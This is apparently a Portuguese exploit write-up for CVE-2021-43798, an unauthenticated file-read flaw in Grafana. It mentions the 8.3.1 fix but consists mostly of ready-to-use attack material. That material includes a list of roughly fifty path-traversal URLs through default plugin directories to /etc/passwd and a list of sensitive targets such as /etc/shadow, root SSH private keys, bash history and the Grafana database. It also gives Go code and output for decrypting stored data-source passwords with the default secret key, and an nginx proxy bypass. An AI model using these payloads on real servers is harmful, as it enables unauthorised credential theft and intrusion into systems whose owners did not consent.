CVE-2021-43798 Vulnerabilidade de leitura arbitrária de arquivos não autorizada no Grafana

8.3.1 (2021-12-07) Segurança: Corrige CVE-2021-43798. Para mais informações, veja nosso blog

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

Exemplo: obter senha do banco de dados

/var/lib/grafana/grafana.db

Verificação de senha com salt em texto claro https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) string {
	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
	return hex.EncodeToString(newPasswd)
}

func main() {
	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
}

Config /etc/grafana/grafana.ini

bash-5.1$ ps -ef |grep grafana
    1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

Garantir a criptografia dos segredos das fontes de dados

As fontes de dados armazenam senhas e senhas de autenticação básica em secureJsonData criptografadas (AES-256 no modo CFB) por padrão. As fontes de dados existentes continuarão funcionando com senhas não criptografadas. Se você deseja migrar para o armazenamento criptografado para suas fontes de dados existentes, pode fazer isso:

• Para fontes de dados criadas pela interface do usuário, você precisa ir para a configuração da fonte de dados, re-inserir a senha ou senha de autenticação básica e salvar a fonte de dados.
• Para fontes de dados criadas por provisionamento, você precisa atualizar seu arquivo de configuração e usar o campo secureJsonData.password ou secureJsonData.basicAuthPassword. Veja a [documentação de provisionamento]({{< relref "../administration/provisioning" >}}) para um exemplo de configuração atual.

https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

decodificar senha

Por exemplo: obtendo o texto cifrado da fonte de dados R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q== do banco de dados /var/lib/grafana/grafana.db, lendo a secret_key (padrão: SW2YcwTIb9zpOOhoPsMm) do arquivo /etc/grafana/grafana.ini, para descriptografar

$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n

codificar senha

Por exemplo: criptografar a senha em texto claro jas502n com a chave para obter o texto cifrado

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==

outros ataques

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

Default plugins count: 40
Successful count: 48

Bypass do proxy nginx do Grafana (erro 400)

https://twitter.com/chybeta/status/1468410745264041992

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x0 Lista de plugins padrão instalados (40):

http://x.x.x.x:3000/api/plugins?embedded=0